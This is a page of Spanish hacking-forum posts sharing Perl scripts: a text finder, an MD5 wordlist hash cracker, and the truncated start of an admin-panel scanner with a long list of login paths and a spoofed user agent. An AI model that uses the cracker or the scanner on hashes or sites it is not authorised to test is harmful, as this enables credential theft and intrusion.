elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)


  Mostrar Temas
Páginas: 1 ... 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 [25] 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ... 43
241  Programación / Scripting / [Perl Tk] Finder Text 0.2 en: 23 Junio 2012, 18:16 pm
Version Tk de un programa para buscar patrones en cualquier directorio.

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #Finder Text 0.2
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. use Tk;
  7.  
  8. my $color_fondo = "black";
  9. my $color_texto = "green";
  10.  
  11. #if ($^O eq 'MSWin32') {
  12. #use Win32::Console;
  13. #Win32::Console::Free();
  14. #}
  15.  
  16. my $vent =
  17.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  18. $vent->title("Finder Text 0.2 (C) Doddy Hackman 2012");
  19. $vent->geometry("395x440+20+20");
  20. $vent->resizable( 0, 0 );
  21.  
  22. $vent->Label(
  23.    -text       => "Directory : ",
  24.    -font       => "Impact1",
  25.    -background => $color_fondo,
  26.    -foreground => $color_texto
  27. )->place( -x => 20, -y => 20 );
  28. my $dir = $vent->Entry(
  29.    -width      => 40,
  30.    -background => $color_fondo,
  31.    -foreground => $color_texto
  32. )->place( -x => 100, -y => 23 );
  33.  
  34. $vent->Label(
  35.    -text       => "String : ",
  36.    -font       => "Impact1",
  37.    -background => $color_fondo,
  38.    -foreground => $color_texto
  39. )->place( -x => 20, -y => 50 );
  40. my $string = $vent->Entry(
  41.    -width      => 30,
  42.    -background => $color_fondo,
  43.    -foreground => $color_texto
  44. )->place( -x => 80, -y => 53 );
  45.  
  46. $vent->Button(
  47.    -text             => "Find",
  48.    -command          => \&now,
  49.    -width            => 11,
  50.    -background       => $color_fondo,
  51.    -foreground       => $color_texto,
  52.    -activebackground => $color_texto
  53. )->place( -x => 271, -y => 53 );
  54.  
  55. $vent->Label(
  56.    -text       => "Files Found",
  57.    -font       => "Impact",
  58.    -background => $color_fondo,
  59.    -foreground => $color_texto
  60. )->place( -x => 150, -y => 100 );
  61. my $listas = $vent->Listbox(
  62.    -width      => 50,
  63.    -height     => 15,
  64.    -background => $color_fondo,
  65.    -foreground => $color_texto
  66. )->place( -x => 45, -y => 150 );
  67.  
  68. $vent->Label(
  69.    -text       => "Status : ",
  70.    -font       => "Impact1",
  71.    -background => $color_fondo,
  72.    -foreground => $color_texto
  73. )->place( -x => 70, -y => 390 );
  74. my $tatus = $vent->Entry(
  75.    -width      => 30,
  76.    -background => $color_fondo,
  77.    -foreground => $color_texto
  78. )->place( -x => 130, -y => 393 );
  79.  
  80. $listas->bind( "<Double-1>", [ \&loader ] );
  81.  
  82. MainLoop;
  83.  
  84. sub loader {
  85.    $listasx = $listas->curselection();
  86.    for my $id (@$listasx) {
  87.        my $linkar = $listas->get($id);
  88.        system("$linkar");
  89.    }
  90. }
  91.  
  92. sub now {
  93.    $listas->delete( "0.0", "end" );
  94.    goodbye( $dir->get, $string->get );
  95.    $tatus->configure( -text => " " );
  96. }
  97.  
  98. sub verificar {
  99.  
  100.    my ( $file, $text ) = @_;
  101.    my $numero_linea = 0;
  102.  
  103.    open( FILE, $file );
  104.    my @words = <FILE>;
  105.    close FILE;
  106.  
  107.    chomp @words;
  108.  
  109.    for my $linea (@words) {
  110.        chomp $linea;
  111.        $numero_linea++;
  112.        if ( $linea =~ /$text/ ) {
  113.            $listas->insert( "end", $file );
  114.        }
  115.    }
  116. }
  117.  
  118. sub goodbye {
  119.    opendir DIR, $_[0];
  120.    my @archivos = readdir DIR;
  121.    close DIR;
  122.  
  123.    for (@archivos) {
  124.        next if $_ eq "." or $_ eq "..";
  125.        my $fichero = $_[0] . "/" . $_;
  126.  
  127.        if ( -f $fichero ) {
  128.            $vent->update;
  129.            $tatus->configure( -text => $fichero );
  130.            verificar( $fichero, $_[1] );
  131.        }
  132.  
  133.        if ( -d $fichero ) {
  134.            &goodbye( $fichero, $_[1] );
  135.        }
  136.    }
  137. }
  138.  
  139. #The End ?
  140.  
  141.  
242  Programación / Scripting / [Perl] Finder Text 0.2 en: 23 Junio 2012, 18:15 pm
Simple script para buscar patrones en cualquier directorio.

Código
  1. #!usr/bin/perl
  2. #FinderText 0.2
  3. #Coded by Doddy H
  4.  
  5. head();
  6. print "[+] Directory : ";
  7. chomp( my $dir = <stdin> );
  8. print "\n[+] String : ";
  9. chomp( my $string = <stdin> );
  10. print "\n[+] Searching text\n\n";
  11. goodbye( $dir, $string );
  12. copyright();
  13.  
  14. sub verificar {
  15.  
  16.    my ( $file, $text ) = @_;
  17.    my $numero_linea = 0;
  18.  
  19.    open( FILE, $file );
  20.    my @words = <FILE>;
  21.    close FILE;
  22.  
  23.    chomp @words;
  24.  
  25.    for my $linea (@words) {
  26.        chomp $linea;
  27.        $numero_linea++;
  28.        if ( $linea =~ /$text/ ) {
  29.            print "[+] Text $text Found in file $file in line $numero_linea\n";
  30.        }
  31.    }
  32. }
  33.  
  34. sub goodbye {
  35.    opendir DIR, $_[0];
  36.    my @archivos = readdir DIR;
  37.    close DIR;
  38.  
  39.    for (@archivos) {
  40.        next if $_ eq "." or $_ eq "..";
  41.        my $fichero = $_[0] . "/" . $_;
  42.  
  43.        if ( -f $fichero ) {
  44.            verificar( $fichero, $_[1] );
  45.        }
  46.  
  47.        if ( -d $fichero ) {
  48.            &goodbye( $fichero, $_[1] );
  49.        }
  50.    }
  51. }
  52.  
  53. sub head {
  54.  
  55.    print qq(
  56.  
  57.  
  58. @@@@@ @           @             @@@@@              
  59. @                 @               @               @
  60. @                 @               @               @
  61. @     @ @ @@   @@@@  @@@  @@      @     @@@  @  @ @@
  62. @@@@  @ @@  @ @   @ @   @ @       @    @   @ @  @ @
  63. @     @ @   @ @   @ @@@@@ @       @    @@@@@  @@  @
  64. @     @ @   @ @   @ @     @       @    @      @@  @
  65. @     @ @   @ @   @ @   @ @       @    @   @ @  @ @
  66. @     @ @   @  @@@@  @@@  @       @     @@@  @  @  @
  67.  
  68.  
  69.  
  70. );
  71.  
  72. }
  73.  
  74. sub copyright {
  75.    print "\n\n-- == Doddy Hackman 2012 == --\n\n";
  76.    <stdin>;
  77.    exit(1);
  78. }
  79.  
  80. # The End ?
  81.  
243  Programación / Scripting / [Perl Tk] MD5 Crack 0.2 en: 16 Junio 2012, 20:21 pm
Version Tk de un programa para crackear un hash MD5

Una imagen



Y el codigo

Código
  1. #!usr/bin/perl
  2. #MD5 Crack 0.2
  3. #Version Tk
  4. #Coded By Doddy H
  5. #Test with
  6. #098f6bcd4621d373cade4e832627b4f6 : test
  7. #cc03e747a6afbbcbf8be7668acfebee5 : test.123
  8. #1943b8b39ca8df2919faff021e0aca98 : testar
  9. #177dac170d586383bcc889602b2bb788 : testar.123
  10.  
  11. use Tk;
  12. use Tk::Dialog;
  13. use Tk::FileSelect;
  14. use Cwd;
  15. use Digest::MD5 qw(md5_hex);
  16.  
  17. #if ($^O eq 'MSWin32') {
  18. #use Win32::Console;
  19. #Win32::Console::Free();
  20. #}
  21.  
  22. my $color_texto = "yellow";
  23. my $color_fondo = "black";
  24.  
  25. my $kak =
  26.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  27.  
  28. $kak->title("MD5 Crack T00l 0.2");
  29. $kak->geometry("300x410+50+50");
  30. $kak->resizable( 0, 0 );
  31.  
  32. $menulax = $kak->Frame(
  33.    -relief     => "sunken",
  34.    -bd         => 1,
  35.    -background => $color_fondo,
  36.    -foreground => $color_texto
  37. );
  38. my $menulnowaxmu = $menulax->Menubutton(
  39.    -text             => "Options",
  40.    -underline        => 1,
  41.    -background       => $color_fondo,
  42.    -foreground       => $color_texto,
  43.    -activebackground => $color_texto
  44. )->pack( -side => "left" );
  45. my $aboutnowaxmu = $menulax->Menubutton(
  46.    -text             => "About",
  47.    -underline        => 1,
  48.    -background       => $color_fondo,
  49.    -foreground       => $color_texto,
  50.    -activebackground => $color_texto
  51. )->pack( -side => "left" );
  52. my $exitnowaxmu = $menulax->Menubutton(
  53.    -text             => "Exit",
  54.    -underline        => 1,
  55.    -background       => $color_fondo,
  56.    -foreground       => $color_texto,
  57.    -activebackground => $color_texto
  58. )->pack( -side => "left" );
  59. $menulax->pack( -side => "top", -fill => "x" );
  60.  
  61. $menulnowaxmu->command(
  62.    -label      => "Crack Hash",
  63.    -background => $color_fondo,
  64.    -foreground => $color_texto,
  65.    -command    => \&crackhash
  66. );
  67. $menulnowaxmu->command(
  68.    -label      => "Crack Wordlist",
  69.    -background => $color_fondo,
  70.    -foreground => $color_texto,
  71.    -command    => \&crackhashes
  72. );
  73. $menulnowaxmu->command(
  74.    -label      => "Load hashes",
  75.    -background => $color_fondo,
  76.    -foreground => $color_texto,
  77.    -command    => \&bronafar
  78. );
  79. $menulnowaxmu->command(
  80.    -label      => "Load file",
  81.    -background => $color_fondo,
  82.    -foreground => $color_texto,
  83.    -command    => \&bronaf
  84. );
  85. $menulnowaxmu->command(
  86.    -label      => "Open Logs",
  87.    -background => $color_fondo,
  88.    -foreground => $color_texto,
  89.    -command    => \&openlogska
  90. );
  91.  
  92. $aboutnowaxmu->command(
  93.    -label      => "About",
  94.    -background => $color_fondo,
  95.    -foreground => $color_texto,
  96.    -command    => \&aboutxam
  97. );
  98.  
  99. $exitnowaxmu->command(
  100.    -label      => "Exit",
  101.    -background => $color_fondo,
  102.    -foreground => $color_texto,
  103.    -command    => \&exitnowm
  104. );
  105.  
  106. $kak->Label(
  107.    -text       => "Hash : ",
  108.    -font       => "Impact",
  109.    -background => $color_fondo,
  110.    -foreground => $color_texto
  111. )->place( -x => 20, -y => 40 );
  112. my $md5 = $kak->Entry(
  113.    -width      => 33,
  114.    -background => $color_fondo,
  115.    -foreground => $color_texto
  116. )->place( -x => 70, -y => 45 );
  117.  
  118. $kak->Label(
  119.    -text       => "File : ",
  120.    -font       => "Impact",
  121.    -background => $color_fondo,
  122.    -foreground => $color_texto
  123. )->place( -x => 22, -y => 70 );
  124. my $word = $kak->Entry(
  125.    -width      => 34,
  126.    -background => $color_fondo,
  127.    -foreground => $color_texto
  128. )->place( -x => 63, -y => 75 );
  129.  
  130. $kak->Label(
  131.    -text       => "Salt : ",
  132.    -font       => "Impact",
  133.    -background => $color_fondo,
  134.    -foreground => $color_texto
  135. )->place( -x => 22, -y => 100 );
  136. my $salt = $kak->Entry(
  137.    -width      => 34,
  138.    -background => $color_fondo,
  139.    -foreground => $color_texto
  140. )->place( -x => 63, -y => 105 );
  141.  
  142. $kak->Label(
  143.    -text       => "Hashes Found",
  144.    -font       => "Impact",
  145.    -background => $color_fondo,
  146.    -foreground => $color_texto
  147. )->place( -x => 90, -y => 150 );
  148. my $ha = $kak->Listbox(
  149.    -width      => 40,
  150.    -height     => 10,
  151.    -background => $color_fondo,
  152.    -foreground => $color_texto
  153. )->place( -x => 25, -y => 190 );
  154.  
  155. $kak->Label(
  156.    -text       => "Status : ",
  157.    -font       => "Impact",
  158.    -background => $color_fondo,
  159.    -foreground => $color_texto
  160. )->place( -x => 37, -y => 360 );
  161. my $tatus = $kak->Entry(
  162.    -width      => 25,
  163.    -background => $color_fondo,
  164.    -foreground => $color_texto
  165. )->place( -x => 95, -y => 365 );
  166.  
  167. MainLoop;
  168.  
  169. sub crackhashes {
  170.  
  171.    $ha->delete( "0.0", "end" );
  172.    $tatus->configure( -text => " " );
  173.  
  174.    my $file     = $md5->get;
  175.    my $wordlist = $word->get;
  176.    my $salt     = $salt->get;
  177.  
  178.    my @hashes = openwordlist($file);
  179.  
  180.    my $formar;
  181.  
  182.    for my $md5 (@hashes) {
  183.        chomp $md5;
  184.        my $formar = $md5;
  185.  
  186.        if ( ver_length($md5) ) {
  187.  
  188.            my @words = openwordlist($wordlist);
  189.  
  190.            for my $word (@words) {
  191.                chomp $word;
  192.                $kak->update;
  193.                my $formardos;
  194.  
  195.                if ( $salt eq "" ) {
  196.                    $formardos = md5_hex($word);
  197.                }
  198.                else {
  199.                    $formardos = md5_hex( $word . $salt );
  200.  
  201.                }
  202.  
  203.                if ( $formar eq $formardos ) {
  204.                    $ha->insert( "end", $formar . ":" . $word );
  205.                    $tatus->configure( -text => $word );
  206.                    savefile( "md5-found.txt", $formar . ":" . $word );
  207.                    last;
  208.                }
  209.                else {
  210.                    $tatus->configure( -text => $word );
  211.                }
  212.            }
  213.        }
  214.        else {
  215.            $kak->Dialog(
  216.                -title            => "Error",
  217.                -buttons          => ["OK"],
  218.                -text             => "Hash invalid",
  219.                -background       => $color_fondo,
  220.                -foreground       => $color_texto,
  221.                -activebackground => $color_texto
  222.            )->Show();
  223.            last;
  224.        }
  225.    }
  226. }
  227.  
  228. sub crackhash {
  229.  
  230.    $ha->delete( "0.0", "end" );
  231.    $tatus->configure( -text => " " );
  232.  
  233.    my $md5      = $md5->get;
  234.    my $wordlist = $word->get;
  235.    my $salt     = $salt->get;
  236.  
  237.    my $formar = $md5;
  238.  
  239.    if ( ver_length($md5) ) {
  240.  
  241.        my @words = openwordlist($wordlist);
  242.  
  243.        for my $word (@words) {
  244.            chomp $word;
  245.            $kak->update;
  246.            my $formardos;
  247.  
  248.            if ( $salt eq "" ) {
  249.                $formardos = md5_hex($word);
  250.            }
  251.            else {
  252.                $formardos = md5_hex( $word . $salt );
  253.            }
  254.  
  255.            if ( $formar eq $formardos ) {
  256.                $tatus->configure( -text => $word );
  257.                $ha->insert( "end", $formar . ":" . $word );
  258.                savefile( "md5-found.txt", $formar . ":" . $word );
  259.                last;
  260.            }
  261.            else {
  262.                $tatus->configure( -text => $word );
  263.            }
  264.        }
  265.    }
  266.    else {
  267.        $kak->Dialog(
  268.            -title            => "Error",
  269.            -buttons          => ["OK"],
  270.            -text             => "Hash invalid",
  271.            -background       => $color_fondo,
  272.            -foreground       => $color_texto,
  273.            -activebackground => $color_texto
  274.        )->Show();
  275.    }
  276. }
  277.  
  278. sub ver_length {
  279.    return true if length( $_[0] ) == 32;
  280. }
  281.  
  282. sub openwordlist {
  283.  
  284.    my ( $file, $tipo ) = @_;
  285.  
  286.    unless ( -f $file ) {
  287.        $kak->Dialog(
  288.            -title            => "Error",
  289.            -buttons          => ["OK"],
  290.            -text             => "File not found",
  291.            -background       => $color_fondo,
  292.            -foreground       => $color_texto,
  293.            -activebackground => $color_texto
  294.        )->Show();
  295.        last;
  296.    }
  297.  
  298.    open( FILE, $file );
  299.    my @words = <FILE>;
  300.    close FILE;
  301.  
  302.    return @words;
  303.  
  304. }
  305.  
  306. sub bronafar {
  307.    $kak->update;
  308.    $browse = $kak->FileSelect( -directory => getcwd() );
  309.    my $file = $browse->Show;
  310.    $md5->configure( -text => $file );
  311. }
  312.  
  313. sub bronaf {
  314.    $kak->update;
  315.    $browse = $kak->FileSelect( -directory => getcwd() );
  316.    my $file = $browse->Show;
  317.    $word->configure( -text => $file );
  318. }
  319.  
  320. sub openlogska {
  321.    my $f = "md5-found.txt";
  322.    if ( -f $f ) {
  323.        system($f);
  324.    }
  325.    else {
  326.        $kak->Dialog(
  327.            -title            => "Error",
  328.            -buttons          => ["OK"],
  329.            -text             => "File Not Found",
  330.            -background       => $color_fondo,
  331.            -foreground       => $color_texto,
  332.            -activebackground => $color_texto
  333.        )->Show();
  334.    }
  335. }
  336.  
  337. sub aboutxam {
  338.    $kak->Dialog(
  339.        -title            => "About",
  340.        -buttons          => ["OK"],
  341.        -text             => "Coded By Doddy H",
  342.        -background       => $color_fondo,
  343.        -foreground       => $color_texto,
  344.        -activebackground => $color_texto
  345.    )->Show();
  346. }
  347.  
  348. sub exitnowm {
  349.    exit 1;
  350. }
  351.  
  352. sub savefile {
  353.    open( SAVE, ">>" . $_[0] );
  354.    print SAVE $_[1] . "\n";
  355.    close SAVE;
  356. }
  357.  
  358. sub repes {
  359.    my @limpio;
  360.    foreach $test (@_) {
  361.        push @limpio, $test unless $repe{$test}++;
  362.    }
  363.    return @limpio;
  364. }
  365.  
  366. #The End ?
  367.  
  368.  
244  Programación / Scripting / [Perl] MD5 Crack 0.2 en: 16 Junio 2012, 20:21 pm
Simple script para crackear un hash MD5 mediante un diccionario.

Código
  1. #!usr/bin/perl
  2. #MD5 Crack 0.2
  3. #Coded By Doddy H
  4. #Test with
  5. #098f6bcd4621d373cade4e832627b4f6 : test
  6. #cc03e747a6afbbcbf8be7668acfebee5 : test.123
  7. #1943b8b39ca8df2919faff021e0aca98 : testar
  8. #177dac170d586383bcc889602b2bb788 : testar.123
  9.  
  10. use Digest::MD5 qw(md5_hex);
  11.  
  12. head();
  13. while (1) {
  14.    print qq(
  15.  
  16. [++] Options
  17.  
  18. [+] 1 : Crack hash
  19. [+] 2 : Crack hashes
  20.  
  21. );
  22.    print "\n[+] Option : ";
  23.    chomp( my $op = <stdin> );
  24.  
  25.    if ( $op eq "1" ) {
  26.        print "\n[+] MD5 : ";
  27.        chomp( my $md5 = <stdin> );
  28.        print "\n[+] Salt : ";
  29.        chomp( my $salt = <stdin> );
  30.        print "\n[+] Wordlist : ";
  31.        chomp( my $wordlist = <stdin> );
  32.        crackhash( $md5, $salt, $wordlist );
  33.    }
  34.    elsif ( $op eq "2" ) {
  35.        print "\n[+] File : ";
  36.        chomp( my $md5 = <stdin> );
  37.        print "\n[+] Salt : ";
  38.        chomp( my $salt = <stdin> );
  39.        print "\n[+] Wordlist : ";
  40.        chomp( my $wordlist = <stdin> );
  41.        crackhashes( $md5, $salt, $wordlist );
  42.    }
  43.    else {
  44.        print "\n\n[-] Bad option\n";
  45.    }
  46.  
  47. }
  48. copyright();
  49.  
  50. sub crackhashes {
  51.  
  52.    my ( $file, $salt, $wordlist ) = @_;
  53.    my @hashes = openwordlist($file);
  54.  
  55.    my $formar;
  56.  
  57.    for my $md5 (@hashes) {
  58.        chomp $md5;
  59.        my $formar = $md5;
  60.  
  61.        if ( ver_length($md5) ) {
  62.  
  63.            my @words = openwordlist($wordlist);
  64.  
  65.            print "[+] Cracking ....\n\n";
  66.  
  67.            for my $word (@words) {
  68.                chomp $word;
  69.  
  70.                my $formardos;
  71.  
  72.                if ( $salt eq "" ) {
  73.                    $formardos = md5_hex($word);
  74.                }
  75.                else {
  76.                    $formardos = md5_hex( $word . $salt );
  77.  
  78.                }
  79.  
  80.                if ( $formar eq $formardos ) {
  81.                    print "\n\a[+] Cracked : " . $formar . ":" . $word . "\n";
  82.                    savefile( "md5-found.txt", $formar . ":" . $word );
  83.                    last;
  84.                }
  85.                else {
  86.                    print $formar. " =! " . $formardos . "\n";
  87.                }
  88.            }
  89.        }
  90.        else {
  91.            print "\n[-] Hash invalid";
  92.            last;
  93.        }
  94.    }
  95. }
  96.  
  97. sub crackhash {
  98.  
  99.    my ( $md5, $salt, $wordlist ) = @_;
  100.    my $formar = $md5;
  101.  
  102.    if ( ver_length($md5) ) {
  103.  
  104.        my @words = openwordlist($wordlist);
  105.  
  106.        print "[+] Cracking ....\n\n";
  107.  
  108.        for my $word (@words) {
  109.            chomp $word;
  110.  
  111.            my $formardos;
  112.  
  113.            if ( $salt eq "" ) {
  114.                $formardos = md5_hex($word);
  115.            }
  116.            else {
  117.                $formardos = md5_hex( $word . $salt );
  118.            }
  119.  
  120.            if ( $formar eq $formardos ) {
  121.                print "\n\a[+] Cracked : " . $formar . ":" . $word . "\n";
  122.                savefile( "md5-found.txt", $formar . ":" . $word );
  123.                copyright();
  124.            }
  125.            else {
  126.                print $formar. " =! " . $formardos . "\n";
  127.            }
  128.        }
  129.  
  130.    }
  131.    else {
  132.        print "\n[-] Hash invalid";
  133.    }
  134.  
  135. }
  136.  
  137. sub ver_length {
  138.    return true if length( $_[0] ) == 32;
  139. }
  140.  
  141. sub openwordlist {
  142.  
  143.    my ( $file, $tipo ) = @_;
  144.  
  145.    print "\n[+] Opening file\n\n";
  146.  
  147.    unless ( -f $file ) {
  148.        print "\n[-] File not found\n";
  149.        copyright();
  150.    }
  151.  
  152.    open( FILE, $file );
  153.    my @words = <FILE>;
  154.    close FILE;
  155.  
  156.    print "[+] Words Found : " . int(@words) . "\n\n";
  157.  
  158.    return @words;
  159.  
  160. }
  161.  
  162. sub repes {
  163.    my @limpio;
  164.    foreach $test (@_) {
  165.        push @limpio, $test unless $repe{$test}++;
  166.    }
  167.    return @limpio;
  168. }
  169.  
  170. sub savefile {
  171.    open( SAVE, ">>" . $_[0] );
  172.    print SAVE $_[1] . "\n";
  173.    close SAVE;
  174. }
  175.  
  176. sub head {
  177.    print qq(
  178.  
  179.  
  180. @     @  @@@@    @@@@@     @@@@  @@@@@     @     @@@@  @   @
  181. @     @  @   @   @        @    @ @    @    @    @    @ @  @  
  182. @@   @@  @    @  @        @      @    @   @ @   @      @ @  
  183. @@   @@  @    @  @@@@     @      @    @   @ @   @      @@    
  184. @ @ @ @  @    @  @   @    @      @@@@@   @   @  @      @@    
  185. @ @ @ @  @    @      @    @      @    @  @   @  @      @ @  
  186. @  @  @  @    @      @    @      @    @  @@@@@  @      @  @  
  187. @  @  @  @   @   @   @    @    @ @    @ @     @ @    @ @   @
  188. @     @  @@@@     @@@      @@@@  @    @ @     @  @@@@  @    @
  189.  
  190.  
  191.  
  192. );
  193. }
  194.  
  195. sub copyright {
  196.    print "\n\n-- == (C) Doddy Hackman 2012\n\n";
  197.    <stdin>;
  198.    exit(1);
  199. }
  200.  
  201. #The End ?
  202.  
245  Programación / Scripting / [Perl Tk] Panel Control 0.3 en: 9 Junio 2012, 16:33 pm
Version Tk de un programa en Perl para buscar el famoso panel de admin.

Una imagen



El codigo

Código
  1. #!usr/bin/perl
  2. #Panel Control 0.3
  3. #Version Tk
  4. #Coded By Doddy H
  5. #The arrays are a collection of several I found on the web
  6.  
  7. use Tk;
  8. use Tk::Dialog;
  9. use LWP::UserAgent;
  10.  
  11. my @paneles = (
  12.    'admin/admin.asp',               'admin/login.asp',
  13.    'admin/index.asp',               'admin/admin.aspx',
  14.    'admin/login.aspx',              'admin/index.aspx',
  15.    'admin/webmaster.asp',           'admin/webmaster.aspx',
  16.    'asp/admin/index.asp',           'asp/admin/index.aspx',
  17.    'asp/admin/admin.asp',           'asp/admin/admin.aspx',
  18.    'asp/admin/webmaster.asp',       'asp/admin/webmaster.aspx',
  19.    'admin/',                        'login.asp',
  20.    'login.aspx',                    'admin.asp',
  21.    'admin.aspx',                    'webmaster.aspx',
  22.    'webmaster.asp',                 'login/index.asp',
  23.    'login/index.aspx',              'login/login.asp',
  24.    'login/login.aspx',              'login/admin.asp',
  25.    'login/admin.aspx',              'administracion/index.asp',
  26.    'administracion/index.aspx',     'administracion/login.asp',
  27.    'administracion/login.aspx',     'administracion/webmaster.asp',
  28.    'administracion/webmaster.aspx', 'administracion/admin.asp',
  29.    'administracion/admin.aspx',     'php/admin/',
  30.    'admin/admin.php',               'admin/index.php',
  31.    'admin/login.php',               'admin/system.php',
  32.    'admin/ingresar.php',            'admin/administrador.php',
  33.    'admin/default.php',             'administracion/',
  34.    'administracion/index.php',      'administracion/login.php',
  35.    'administracion/ingresar.php',   'administracion/admin.php',
  36.    'administration/',               'administration/index.php',
  37.    'administration/login.php',      'administrator/index.php',
  38.    'administrator/login.php',       'administrator/system.php',
  39.    'system/',                       'system/login.php',
  40.    'admin.php',                     'login.php',
  41.    'administrador.php',             'administration.php',
  42.    'administrator.php',             'admin1.html',
  43.    'admin1.php',                    'admin2.php',
  44.    'admin2.html',                   'yonetim.php',
  45.    'yonetim.html',                  'yonetici.php',
  46.    'yonetici.html',                 'adm/',
  47.    'admin/account.php',             'admin/account.html',
  48.    'admin/index.html',              'admin/login.html',
  49.    'admin/home.php',                'admin/controlpanel.html',
  50.    'admin/controlpanel.php',        'admin.html',
  51.    'admin/cp.php',                  'admin/cp.html',
  52.    'cp.php',                        'cp.html',
  53.    'administrator/',                'administrator/index.html',
  54.    'administrator/login.html',      'administrator/account.html',
  55.    'administrator/account.php',     'administrator.html',
  56.    'login.html',                    'modelsearch/login.php',
  57.    'moderator.php',                 'moderator.html',
  58.    'moderator/login.php',           'moderator/login.html',
  59.    'moderator/admin.php',           'moderator/admin.html',
  60.    'moderator/',                    'account.php',
  61.    'account.html',                  'controlpanel/',
  62.    'controlpanel.php',              'controlpanel.html',
  63.    'admincontrol.php',              'admincontrol.html',
  64.    'adminpanel.php',                'adminpanel.html',
  65.    'admin1.asp',                    'admin2.asp',
  66.    'yonetim.asp',                   'yonetici.asp',
  67.    'admin/account.asp',             'admin/home.asp',
  68.    'admin/controlpanel.asp',        'admin/cp.asp',
  69.    'cp.asp',                        'administrator/index.asp',
  70.    'administrator/login.asp',       'administrator/account.asp',
  71.    'administrator.asp',             'modelsearch/login.asp',
  72.    'moderator.asp',                 'moderator/login.asp',
  73.    'moderator/admin.asp',           'account.asp',
  74.    'controlpanel.asp',              'admincontrol.asp',
  75.    'adminpanel.asp',                'fileadmin/',
  76.    'fileadmin.php',                 'fileadmin.asp',
  77.    'fileadmin.html',                'administration.html',
  78.    'sysadmin.php',                  'sysadmin.html',
  79.    'phpmyadmin/',                   'myadmin/',
  80.    'sysadmin.asp',                  'sysadmin/',
  81.    'ur-admin.asp',                  'ur-admin.php',
  82.    'ur-admin.html',                 'ur-admin/',
  83.    'Server.php',                    'Server.html',
  84.    'Server.asp',                    'Server/',
  85.    'wp-admin/',                     'administr8.php',
  86.    'administr8.html',               'administr8/',
  87.    'administr8.asp',                'webadmin/',
  88.    'webadmin.php',                  'webadmin.asp',
  89.    'webadmin.html',                 'administratie/',
  90.    'admins/',                       'admins.php',
  91.    'admins.asp',                    'admins.html',
  92.    'administrivia/',                'Database_Administration/',
  93.    'WebAdmin/',                     'useradmin/',
  94.    'sysadmins/',                    'admin1/',
  95.    'system-administration/',        'administrators/',
  96.    'pgadmin/',                      'directadmin/',
  97.    'staradmin/',                    'ServerAdministrator/',
  98.    'SysAdmin/',                     'administer/',
  99.    'LiveUser_Admin/',               'sys-admin/',
  100.    'typo3/',                        'panel/',
  101.    'cpanel/',                       'cPanel/',
  102.    'cpanel_file/',                  'platz_login/',
  103.    'rcLogin/',                      'blogindex/',
  104.    'formslogin/',                   'autologin/',
  105.    'support_login/',                'meta_login/',
  106.    'manuallogin/',                  'simpleLogin/',
  107.    'loginflat/',                    'utility_login/',
  108.    'showlogin/',                    'memlogin/',
  109.    'members/',                      'login-redirect/',
  110.    'sub-login/',                    'wp-login/',
  111.    'login1/',                       'dir-login/',
  112.    'login_db/',                     'xlogin/',
  113.    'smblogin/',                     'customer_login/',
  114.    'UserLogin/',                    'login-us/',
  115.    'acct_login/',                   'admin_area/',
  116.    'bigadmin/',                     'project-admins/',
  117.    'phppgadmin/',                   'pureadmin/',
  118.    'sql-admin/',                    'radmind/',
  119.    'openvpnadmin/',                 'wizmysqladmin/',
  120.    'vadmind/',                      'ezsqliteadmin/',
  121.    'hpwebjetadmin/',                'newsadmin/',
  122.    'adminpro/',                     'Lotus_Domino_Admin/',
  123.    'bbadmin/',                      'vmailadmin/',
  124.    'Indy_admin/',                   'ccp14admin/',
  125.    'irc-macadmin/',                 'banneradmin/',
  126.    'sshadmin/',                     'phpldapadmin/',
  127.    'macadmin/',                     'administratoraccounts/',
  128.    'admin4_account/',               'admin4_colon/',
  129.    'radmind-1/',                    'Super-Admin/',
  130.    'AdminTools/',                   'cmsadmin/',
  131.    'SysAdmin2/',                    'globes_admin/',
  132.    'cadmins/',                      'phpSQLiteAdmin/',
  133.    'navSiteAdmin/',                 'server_admin_small/',
  134.    'logo_sysadmin/',                'server/',
  135.    'database_administration/',      'power_user/',
  136.    'system_administration/',        'ss_vms_admin_sm/'
  137. );
  138.  
  139. my $nave = LWP::UserAgent->new();
  140. $nave->timeout(5);
  141. $nave->agent(
  142. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  143. );
  144.  
  145. #if ($^O eq 'MSWin32') {
  146. #use Win32::Console;
  147. #Win32::Console::Free();
  148. #}
  149.  
  150. my $color_texto = "red";
  151. my $color_fondo = "black";
  152.  
  153. my $newdaxz =
  154.  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
  155.  
  156. $newdaxz->title("Panel Control 0.3 || Coded By Doddy H");
  157. $newdaxz->geometry("345x350+50+50");
  158. $newdaxz->resizable( 0, 0 );
  159.  
  160. $menula = $newdaxz->Frame(
  161.    -relief     => "sunken",
  162.    -bd         => 1,
  163.    -background => $color_fondo,
  164.    -foreground => $color_texto
  165. );
  166. my $menulnowaxm = $menula->Menubutton(
  167.    -text             => "Options",
  168.    -underline        => 1,
  169.    -background       => $color_fondo,
  170.    -foreground       => $color_texto,
  171.    -activebackground => $color_texto
  172. )->pack( -side => "left" );
  173. my $aboutnowaxm = $menula->Menubutton(
  174.    -text             => "About",
  175.    -underline        => 1,
  176.    -background       => $color_fondo,
  177.    -foreground       => $color_texto,
  178.    -activebackground => $color_texto
  179. )->pack( -side => "left" );
  180. my $exitnowaxm = $menula->Menubutton(
  181.    -text             => "Exit",
  182.    -underline        => 1,
  183.    -background       => $color_fondo,
  184.    -foreground       => $color_texto,
  185.    -activebackground => $color_texto
  186. )->pack( -side => "left" );
  187. $menula->pack( -side => "top", -fill => "x" );
  188.  
  189. $menulnowaxm->command(
  190.    -label      => "Scan",
  191.    -background => $color_fondo,
  192.    -foreground => $color_texto,
  193.    -command    => \&findpanel
  194. );
  195. $menulnowaxm->command(
  196.    -label      => "Open Logs",
  197.    -background => $color_fondo,
  198.    -foreground => $color_texto,
  199.    -command    => \&openlogsk
  200. );
  201.  
  202. $aboutnowaxm->command(
  203.    -label      => "About",
